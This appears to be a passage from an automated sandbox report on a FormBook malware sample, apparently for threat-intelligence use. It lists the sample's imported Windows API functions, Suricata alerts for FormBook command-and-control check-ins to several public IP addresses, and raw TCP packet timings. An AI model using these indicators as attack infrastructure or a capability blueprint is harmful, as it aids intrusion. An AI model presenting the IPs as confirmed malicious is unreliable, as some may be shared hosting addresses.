GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T15:54:55.058220+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49981	3.33.130.190	80	TCP
2024-10-08T15:55:11.208615+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49982	23.224.37.76	80	TCP
2024-10-08T15:55:13.745510+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49983	23.224.37.76	80	TCP
2024-10-08T15:55:16.324503+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49984	23.224.37.76	80	TCP
2024-10-08T15:55:19.067831+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49985	23.224.37.76	80	TCP
2024-10-08T15:55:25.356025+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49986	20.184.53.162	80	TCP
2024-10-08T15:55:27.907328+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49987	20.184.53.162	80	TCP
2024-10-08T15:55:31.024077+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49988	20.184.53.162	80	TCP
2024-10-08T15:55:33.552417+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49989	20.184.53.162	80	TCP
2024-10-08T15:55:39.615131+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49990	199.192.21.169	80	TCP
2024-10-08T15:55:42.829677+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49991	199.192.21.169	80	TCP
2024-10-08T15:55:45.444662+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49992	199.192.21.169	80	TCP
2024-10-08T15:55:47.945936+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49993	199.192.21.169	80	TCP
2024-10-08T15:55:53.697059+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49994	81.2.196.19	80	TCP
2024-10-08T15:55:56.268746+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49995	81.2.196.19	80	TCP
2024-10-08T15:55:58.941631+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49996	81.2.196.19	80	TCP
2024-10-08T15:56:01.506046+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	49997	81.2.196.19	80	TCP
2024-10-08T15:56:07.828208+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49998	107.163.130.249	80	TCP
2024-10-08T15:56:10.342789+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	49999	107.163.130.249	80	TCP
2024-10-08T15:56:13.128271+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50000	107.163.130.249	80	TCP
2024-10-08T15:56:15.481765+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50001	107.163.130.249	80	TCP
2024-10-08T15:56:30.980849+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50002	103.21.221.4	80	TCP
2024-10-08T15:56:33.258500+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50003	103.21.221.4	80	TCP
2024-10-08T15:56:35.789412+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50004	103.21.221.4	80	TCP
2024-10-08T15:56:38.340684+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50005	103.21.221.4	80	TCP
2024-10-08T15:56:44.908726+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50006	3.33.130.190	80	TCP
2024-10-08T15:56:46.407490+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50007	3.33.130.190	80	TCP
2024-10-08T15:56:48.996607+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50008	3.33.130.190	80	TCP
2024-10-08T15:56:51.500642+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50009	3.33.130.190	80	TCP
2024-10-08T15:56:57.025799+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50010	3.33.130.190	80	TCP
2024-10-08T15:57:00.480822+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50011	3.33.130.190	80	TCP
2024-10-08T15:57:02.113014+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50012	3.33.130.190	80	TCP
2024-10-08T15:57:04.975729+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50013	3.33.130.190	80	TCP
2024-10-08T15:57:10.496832+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50014	15.197.204.56	80	TCP
2024-10-08T15:57:13.035316+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50015	15.197.204.56	80	TCP
2024-10-08T15:57:15.596242+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50016	15.197.204.56	80	TCP
2024-10-08T15:57:18.137011+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50017	15.197.204.56	80	TCP
2024-10-08T15:57:23.793559+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50018	198.252.106.191	80	TCP
2024-10-08T15:57:26.356859+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50019	198.252.106.191	80	TCP
2024-10-08T15:57:28.949746+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50020	198.252.106.191	80	TCP
2024-10-08T15:57:31.437191+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50021	198.252.106.191	80	TCP
2024-10-08T15:57:38.673484+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50022	43.154.104.247	80	TCP
2024-10-08T15:57:41.219310+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50023	43.154.104.247	80	TCP
2024-10-08T15:57:43.938046+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.11	50024	43.154.104.247	80	TCP
2024-10-08T15:58:06.365310+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.11	50025	43.154.104.247	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 15:54:54.530236959 CEST	49981	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:54:54.535329103 CEST	80	49981	3.33.130.190	192.168.2.11
Oct 8, 2024 15:54:54.536447048 CEST	49981	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:54:54.544260025 CEST	49981	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:54:54.549284935 CEST	80	49981	3.33.130.190	192.168.2.11
Oct 8, 2024 15:54:55.057811022 CEST	80	49981	3.33.130.190	192.168.2.11
Oct 8, 2024 15:54:55.058079004 CEST	80	49981	3.33.130.190	192.168.2.11
Oct 8, 2024 15:54:55.058219910 CEST	49981	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:54:55.061650038 CEST	49981	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:54:55.067101955 CEST	80	49981	3.33.130.190	192.168.2.11
Oct 8, 2024 15:55:10.561798096 CEST	49982	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:10.567564011 CEST	80	49982	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:10.567656994 CEST	49982	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:10.579591990 CEST	49982	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:10.584470034 CEST	80	49982	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:11.208497047 CEST	80	49982	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:11.208615065 CEST	49982	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:12.094213009 CEST	49982	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:12.099328995 CEST	80	49982	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:13.113357067 CEST	49983	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:13.118592978 CEST	80	49983	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:13.118802071 CEST	49983	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:13.140261889 CEST	49983	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:13.145442009 CEST	80	49983	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:13.745332003 CEST	80	49983	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:13.745510101 CEST	49983	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:14.656975985 CEST	49983	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:14.662036896 CEST	80	49983	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:15.675514936 CEST	49984	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:15.681171894 CEST	80	49984	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:15.683198929 CEST	49984	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:15.694778919 CEST	49984	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:15.699775934 CEST	80	49984	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:15.699805021 CEST	80	49984	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:16.324393034 CEST	80	49984	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:16.324502945 CEST	49984	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:17.203603983 CEST	49984	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:17.208620071 CEST	80	49984	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:18.222724915 CEST	49985	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:18.227744102 CEST	80	49985	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:18.227880001 CEST	49985	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:18.235976934 CEST	49985	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:18.240899086 CEST	80	49985	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:19.067605972 CEST	80	49985	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:19.067831039 CEST	49985	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:19.068624020 CEST	49985	80	192.168.2.11	23.224.37.76
Oct 8, 2024 15:55:19.073780060 CEST	80	49985	23.224.37.76	192.168.2.11
Oct 8, 2024 15:55:24.261439085 CEST	49986	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:24.268591881 CEST	80	49986	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:24.268697977 CEST	49986	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:24.280472040 CEST	49986	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:24.285543919 CEST	80	49986	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:25.355673075 CEST	80	49986	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:25.355813026 CEST	80	49986	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:25.356024981 CEST	49986	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:25.781778097 CEST	49986	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:26.801815033 CEST	49987	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:26.806767941 CEST	80	49987	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:26.806871891 CEST	49987	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:26.821927071 CEST	49987	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:26.826870918 CEST	80	49987	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:27.906780005 CEST	80	49987	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:27.907064915 CEST	80	49987	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:27.907327890 CEST	49987	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:28.328624964 CEST	49987	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:29.348591089 CEST	49988	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:29.918668032 CEST	80	49988	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:29.919189930 CEST	49988	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:29.931057930 CEST	49988	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:29.936264992 CEST	80	49988	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:29.936271906 CEST	80	49988	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:31.023698092 CEST	80	49988	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:31.023778915 CEST	80	49988	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:31.024076939 CEST	49988	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:31.438080072 CEST	49988	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:32.456124067 CEST	49989	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:32.461182117 CEST	80	49989	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:32.461349964 CEST	49989	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:32.468439102 CEST	49989	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:32.473342896 CEST	80	49989	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:33.552191019 CEST	80	49989	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:33.552282095 CEST	80	49989	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:33.552417040 CEST	49989	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:33.555298090 CEST	49989	80	192.168.2.11	20.184.53.162
Oct 8, 2024 15:55:33.560195923 CEST	80	49989	20.184.53.162	192.168.2.11
Oct 8, 2024 15:55:38.986043930 CEST	49990	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:38.991105080 CEST	80	49990	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:38.991228104 CEST	49990	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:39.003246069 CEST	49990	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:39.008181095 CEST	80	49990	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:39.614902020 CEST	80	49990	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:39.614914894 CEST	80	49990	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:39.615130901 CEST	49990	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:40.516112089 CEST	49990	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:41.535418987 CEST	49991	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:42.224591017 CEST	80	49991	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:42.224761009 CEST	49991	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:42.236865997 CEST	49991	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:42.241861105 CEST	80	49991	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:42.829372883 CEST	80	49991	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:42.829622030 CEST	80	49991	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:42.829677105 CEST	49991	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:43.750802994 CEST	49991	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:44.769807100 CEST	49992	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:44.774745941 CEST	80	49992	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:44.774878025 CEST	49992	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:44.786650896 CEST	49992	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:44.791543961 CEST	80	49992	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:44.791629076 CEST	80	49992	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:45.444499969 CEST	80	49992	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:45.444538116 CEST	80	49992	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:45.444662094 CEST	49992	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:46.297431946 CEST	49992	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:47.316807032 CEST	49993	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:47.322117090 CEST	80	49993	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:47.323024035 CEST	49993	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:47.331054926 CEST	49993	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:47.335913897 CEST	80	49993	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:47.945543051 CEST	80	49993	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:47.945574045 CEST	80	49993	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:47.945935965 CEST	49993	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:47.948765993 CEST	49993	80	192.168.2.11	199.192.21.169
Oct 8, 2024 15:55:48.222157001 CEST	80	49993	199.192.21.169	192.168.2.11
Oct 8, 2024 15:55:53.036421061 CEST	49994	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:53.041404963 CEST	80	49994	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:53.041508913 CEST	49994	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:53.053775072 CEST	49994	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:53.059812069 CEST	80	49994	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:53.696913004 CEST	80	49994	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:53.697009087 CEST	80	49994	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:53.697058916 CEST	49994	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:54.563297033 CEST	49994	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:55.582835913 CEST	49995	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:55.587862968 CEST	80	49995	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:55.587929964 CEST	49995	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:55.602183104 CEST	49995	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:55.607316017 CEST	80	49995	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:56.264822960 CEST	80	49995	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:56.265010118 CEST	80	49995	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:56.268745899 CEST	49995	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:57.110132933 CEST	49995	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:58.129147053 CEST	49996	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:58.277229071 CEST	80	49996	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:58.277360916 CEST	49996	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:58.290016890 CEST	49996	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:58.295316935 CEST	80	49996	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:58.295473099 CEST	80	49996	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:58.941078901 CEST	80	49996	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:58.941274881 CEST	80	49996	81.2.196.19	192.168.2.11
Oct 8, 2024 15:55:58.941631079 CEST	49996	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:55:59.797810078 CEST	49996	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:56:00.816277981 CEST	49997	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:56:00.821150064 CEST	80	49997	81.2.196.19	192.168.2.11
Oct 8, 2024 15:56:00.822827101 CEST	49997	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:56:00.831670046 CEST	49997	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:56:00.836626053 CEST	80	49997	81.2.196.19	192.168.2.11
Oct 8, 2024 15:56:01.492780924 CEST	80	49997	81.2.196.19	192.168.2.11
Oct 8, 2024 15:56:01.505907059 CEST	80	49997	81.2.196.19	192.168.2.11
Oct 8, 2024 15:56:01.506046057 CEST	49997	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:56:01.507677078 CEST	49997	80	192.168.2.11	81.2.196.19
Oct 8, 2024 15:56:01.512578011 CEST	80	49997	81.2.196.19	192.168.2.11
Oct 8, 2024 15:56:06.917207003 CEST	49998	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:06.922080040 CEST	80	49998	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:06.922319889 CEST	49998	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:06.935695887 CEST	49998	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:06.941509962 CEST	80	49998	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:07.827970028 CEST	80	49998	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:07.828087091 CEST	80	49998	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:07.828207970 CEST	49998	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:08.439418077 CEST	49998	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:09.459098101 CEST	49999	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:09.464231014 CEST	80	49999	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:09.464360952 CEST	49999	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:09.481554985 CEST	49999	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:09.486529112 CEST	80	49999	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:10.342489958 CEST	80	49999	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:10.342627048 CEST	80	49999	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:10.342788935 CEST	49999	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:10.984837055 CEST	49999	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:12.005001068 CEST	50000	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:12.010185957 CEST	80	50000	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:12.016926050 CEST	50000	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:12.028846025 CEST	50000	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:12.034176111 CEST	80	50000	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:12.034203053 CEST	80	50000	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:13.127681017 CEST	80	50000	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:13.128226995 CEST	80	50000	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:13.128271103 CEST	50000	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:13.532577991 CEST	50000	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:14.550853968 CEST	50001	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:14.555854082 CEST	80	50001	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:14.555985928 CEST	50001	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:14.563930035 CEST	50001	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:14.568831921 CEST	80	50001	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:15.481507063 CEST	80	50001	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:15.481702089 CEST	80	50001	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:15.481714010 CEST	80	50001	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:15.481765032 CEST	50001	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:15.481765032 CEST	50001	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:15.485488892 CEST	50001	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:15.742499113 CEST	80	50001	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:15.742554903 CEST	50001	80	192.168.2.11	107.163.130.249
Oct 8, 2024 15:56:15.743760109 CEST	80	50001	107.163.130.249	192.168.2.11
Oct 8, 2024 15:56:29.474787951 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:29.480233908 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:29.480345011 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:29.495868921 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:29.500838041 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.980561972 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.980583906 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.980595112 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.980849028 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:30.981065989 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.981077909 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.981087923 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.981100082 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.981111050 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.981189013 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:30.981189013 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:30.981332064 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.981343985 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.981674910 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:30.985984087 CEST	80	50002	103.21.221.4	192.168.2.11
